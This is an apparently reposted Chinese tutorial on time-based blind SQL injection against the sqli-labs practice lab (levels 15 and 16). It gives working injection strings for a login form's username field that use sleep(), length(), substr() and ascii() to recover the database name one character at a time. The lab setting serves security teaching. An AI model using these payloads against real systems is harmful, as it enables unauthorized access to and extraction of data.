溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
本篇文章給大家分享的是有關大數據中的延時布爾盲注是怎樣的，小編覺得挺實用的，因此分享給大家學習，希望大家閱讀完這篇文章后可以有所收獲，話不多說，跟著小編一起來看看吧。
環境sqli-labs
less 15
1、首先我們抓包
2、測試注入
在 username 輸入 1' or 1=1#
在 password 輸入 任意
所以用單引號閉合
3、構造語句
uname=admin' and (select (if(length(database())>=8,sleep(5),null)))-- &passwd=2&submit=Submit
如果數據庫的長度大于等于8多停留5秒，如果小于8什么都不操作
uname=admin' and If(ascii(substr(database(),1,1))=115,sleep(1),sleep(5))#&passwd=11&submit=Submit
如果第一位是‘s’是多停留1秒，如果不是多停留5秒
uname=admin'and If(left(database(),1)='s',1,sleep(5))#&passwd=11&submit=Submit
less 16
閉合是雙引號和小括號（")），其他都一樣
以上就是大數據中的延時布爾盲注是怎樣的，小編相信有部分知識點可能是我們日常工作會見到或用到的。希望你能通過這篇文章學到更多知識。更多詳情敬請關注億速云行業資訊頻道。
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
